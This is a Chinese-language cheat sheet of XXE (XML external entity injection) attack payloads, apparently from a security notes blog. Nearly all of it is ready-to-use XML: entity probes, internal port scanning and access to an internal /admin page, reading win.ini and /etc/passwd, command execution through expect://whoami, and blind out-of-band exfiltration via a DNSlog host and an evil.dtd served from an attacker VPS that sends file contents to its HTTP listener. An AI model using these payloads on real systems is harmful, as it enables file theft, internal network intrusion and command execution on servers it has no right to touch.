2.5_XXE(XML外部实体注入)

分类

利用方式

有回显

直接利用即可

<!--判断是否存在XXE漏洞,返回XXE则存在-->
<?xml version = "1.0"?>
<!DOCTYPE a [<!ENTITY b "XXE">]><c>&b;</c>



<!--扫描内网端口IP-->
<!--如果端口开放,服务器将返回相应的HTTP响应,否则可能超时或返回错误。-->
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "http://192.168.1.1:80" >]>
<root>
<name>&xxe;</name>
</root>



<!--攻击内网网站-->
<!--如果内网中的 192.168.1.2 存在,并且 /admin 路径没有适当的访问控制,XXE攻击可能会成功访问该页面。-->
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "http://192.168.1.2/admin" >]>
<root>
<name>&xxe;</name>
</root>





<!--任意文件读取-->
<!--file协议 查看文件-->
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
<a>&xxe;</a>

<!--php协议 查看文件,并将其转换为Base64编码-->
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>




<!--命令执行-->
<?xml version ="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://whoami">

<x>&xxe;</x>
无回显

通过 DNSlog 检测,http 日志外带;

<!--无回显DNSLOG检测-->
<?xml version="1.0"?>
<!DOCTYPE a [ 
<!ENTITY % xxe  SYSTEM "http://johmvd.dnslog.cn" > 
%xxe;
]>

<!--无回显HTTP日志外带-->
# VPS: 
# 启动服务:python -m SimpleHTTPServer   或   python -m http.server
# 上传evil.dtd,文件内容:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.1.1:8000?p=%file;'>">

# Brup payload:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.1.1:8000/evil.dtd">

%remote;
%int;
%send;
]>
上一篇:SSL 证书申请以及配置流程


下一篇:图形几何之美系列:仿射变换矩阵之Y-Up和Z-Up